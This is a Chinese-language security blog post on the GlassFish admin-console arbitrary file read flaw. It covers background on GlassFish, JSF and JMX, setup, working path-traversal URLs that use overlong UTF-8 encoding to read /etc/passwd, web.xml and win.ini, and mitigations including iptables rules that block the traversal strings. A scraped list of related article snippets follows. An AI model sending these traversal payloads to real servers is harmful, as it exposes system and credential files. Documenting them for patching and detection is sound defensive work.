catalogue

1. 前言和技术背景
2. Glassfish安装配置
3. 漏洞利用
4. 漏洞缓解(修复)

1. 前言和技术背景

0x1: GlassFish是什么

GlassFish 是用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。这是对希望能够获得源代码并为开发 Sun 的下一代应用服务器(基于 GlassFish)作出贡献的 Java 开发者作出的回应。该项目旨在促进 Sun 和 Oracle 工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来

0x2: JSF是什么

JSF ,java Server Faces, 他与struts一样都是web应用框架,但是他们的本质区别在于, struts只是单纯的MVC模式框架,而JSF是一种事件驱动型的组件模型
应用程序的开发有两种B/S(浏览器/服务器)和C/S(客户端/服务器端),JSF就是将C/S开发中的界面引入了B/S开发中,然后为界面上的每一个控件都提供事件侦听器。通过JSF,可以在网页上使用WEB组件来捕获用户行为产生的事件.使用JSF开发web程序将与开发swing程序类似,可以拖放控件

0x3: JMX是什么

JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理
JMX是一种应用编程接口,可扩充对象和方法的集合体,可以用于跨越一系列不同的异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用它提供了用户界面指导、Java类和开发集成系统、网络及网络管理应用的规范。
管理对象是JMX应用程序的核心。JMX结构包括:支持Java的Web浏览器用户接口,管理运行模块ARM(Admin Runtime Module)和应用。这三个部件之间通过RMI(Remote Method Invocation)进行通信。这里需要说明的是,RMI是使得一个Java虚拟机(JVM)上运行的程序可以调用远程服务器上另一个JVM总的对象。
用户接口用来发布管理操作,这些操作可以间接的通过浏览器或通过单独的应用程序来激发。管理运行模块用来给应用提供实例化的管理对象。它包括Agent对象接口,通知接口和被管数据接口。应用指的是那些被管设备单元。
JMX是一个完整的网络管理应用程序开发环境,它同时提供了:厂商需要收集的完整的特性清单,可生成资源清单表格,图形化的用户接口;访问SNMP的网络API;主机间远程过程调用;数据库访问方法。
JMX这一轻型的管理基础结构,价值在于对被管理资源的服务实现了抽象,提供了低层的基本类集合,开发人员在保证大多数的公共管理类的完整性和一致性的前提下,进行扩展以满足特定网络管理应用的需要

Relevant Link:

http://www.xuebuyuan.com/1865382.html

2. Glassfish安装配置

unzip glassfish-4.1.1*zip
glassfish4/bin/asadmin start-domain
Go to http://localhost:4848

Relevant Link:

https://java.net/projects/glassfish/sources/svn/show/trunk/main/appserver/admingui/webui-jsf-suntheme-plugin-l10n/src/main/resources/com/sun/webui?rev=64241
http://www.1maven.com/classname-packaging?query&cl=ThemeServlet&pk=com.sun.webui.theme&pg=1&a=&s=#t_
https://glassfish.java.net/download.html

3. 漏洞利用

0x1: POC1(..编码)

http://localhost:4848/theme/META-INF/png%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

0x2: POC1(/编码)

http://localhost:4848/theme/META-INF/..%c0%afMETA-INF%c0%af..%c0%af..%c0%af__admingui%c0%afWEB-INF%c0%afweb.xml
http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

4.1.1把 %c0%ae = . 修复了,但是%c0%af = /没过滤

Relevant Link:

http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=2&srcid=0114QPY75arMj4necv5moRY0&from=timeline&isappinstalled=0#wechat_redirect
http://www.wooyun.org/bugs/wooyun-2010-0144595

4. 漏洞缓解(修复)

0x1: 关闭远程管理

关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启GlassFish服务

./asadmin change-admin-password
./asadmin disable-secure-admin
./asadmin stop-domain
./asadmin start-domain asadmin.bat change-admin-password
asadmin.bat disable-secure-admin
asadmin.bat stop-domain
asadmin.bat start-domain 

需要注意的是,关闭远程访问只能禁用远程login登录,但是攻击url还是可以访问,任意文件读取依然存在

0x2: Iptables规则

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP
//该规则无法防御HTTPS SSL方案

0x3: 禁用web.xml theme映射

\glassfish4\glassfish\lib\install\applications\__admingui\WEB-INF\web.xml

重启glassfish后生效

Relevant Link:

http://blog.csdn.net/joyous/article/details/8008870
http://blog.csdn.net/myjlvzlp/article/details/8009885
http://book.51cto.com/art/200904/120804.htm
http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html
http://blog.nintechnet.com/how-to-block-w00tw00t-at-isc-sans-dfind-and-other-web-vulnerability-scanners/

Copyright (c) 2016 LittleHann All rights reserved

应用服务器Glassfish任意文件读取漏洞相关推荐

  1. glassfish任意文件读取漏洞

    glassfish任意文件读取漏洞 1.简介 1.1.漏洞类型 1.2.漏洞成因 1.3.语法搜索 1.4.影响版本 2.漏洞复现 2.1.POC 2.2.访问地址 2.3.GlassFish的敏感目 ...

  2. GlassFish 任意文件读取

    一. 漏洞描述 glassfish是一款java编写的跨平台的开源的应用服务器.2015年10月,被爆出通用任意文件读取漏洞.利用这个漏洞,攻击者可读取服务器上任意文件. 与宽字节SQL注入一致,都是 ...

  3. Apache Solr任意文件读取漏洞复现

    Apache Solr任意文件读取漏洞复现 一.简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口.用户可以通过http请求,向搜索引擎服务器提交一定格 ...

  4. php 打开任意文件下载,TEC-004-php文件下载任意文件读取漏洞修复

    修改download?u参数值,将/public/files/14842030529.txt,替换为../../../../../../../../../../etc/passwd function ...

  5. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  6. .exp文件_mini_httpd 任意文件读取漏洞(附EXP脚本)

    一.环境搭建: 进入镜像目录: cd vulhub/mini_httpd/CVE-2018-18778 启动环境: docker-compose up -d 访问8088端口 二.漏洞描述: Mini ...

  7. gitlab 更新文件_GitLab任意文件读取漏洞公告

    2020年4月28日,GitLab的一个任意文件读取漏洞的漏洞细节被公开.该漏洞补丁于2020年3月26号由GitLab官方发布.深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告. 漏洞 ...

  8. phpcms前台注入导致任意文件读取漏洞

    关于:phpcms前台注入导致任意文件读取漏洞的修复问题 简介: phpcms的/phpcms/modules/content/down.php文件中,对输入参数 $_GET['a_k']未进行严格过 ...

  9. Grafana 中存在严重的未授权任意文件读取漏洞,已遭利用

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Grafana Labs 发布紧急安全更新,修复了影响该公司主产品 Grafana 仪表盘中的严重漏洞 (CVE-2021-43798),CVS ...

最新文章

  1. MyEclipse或者Eclipse内存溢出问题
  2. 与c交互_SV DPI-C接口学习心得
  3. DockerFile 参数详解
  4. VTK:VTK 的相机模型用法实战
  5. Android—开发过程中的相关注意事项
  6. CPaintDC、CClientDC、CWindowDC和CMetaFileDC类的主要特点及区别-Windows绘图基础知识
  7. node js 技术架构_[视频] Node JS中的干净架构
  8. c语言求偶数的积,《动物的多*语言》阅读理解及*
  9. C语言 如何判断一个主机是大端还是小端
  10. 在 tornado 中异步无阻塞的执行耗时任务
  11. Revit二次开发——新建墙类型
  12. java分布式事务框架_Java分布式事务,及解决方案
  13. 教你用迅雷下载百度网盘的文件
  14. 【职场】近期工作感悟
  15. Call Center核心词汇含义及功能
  16. java 解析uri_Uri详解之——Uri结构与代码提取
  17. 【AVISO 测高数据获取:注册与利用FileZilla下载】
  18. python怎么取共轭_python print出共轭复数的方法详解
  19. 市场分析-全球与中国木槿果实提取物市场现状及未来发展趋势
  20. java单选框的讲课ppt6_Joho Lewis《Java Software Solutions》第六版课件第十....ppt

热门文章

  1. 全球只有4个人通关的游戏_只有两人协力才能通关这款2019谷歌最佳创意游戏
  2. 此处不允许使用分组函数_查找当前薪水排名第二多的员工信息(不使用order by和窗口函数)...
  3. 服务器上使用mysql_在服务器上安装、使用MySQL的注意事项
  4. AJAX设置光标离开自动提交,Ajax自动提交和刷新页面
  5. linux man 手册翻译,close (linux man) 翻译
  6. 2021温州市高考成绩查询,温州2021高考成绩排名榜单,温州各高中高考成绩喜报
  7. 16 The Terminal and Job Control
  8. python socket epoll
  9. opencv-api drawKeypoints drawMatches
  10. opencv 轮廓检测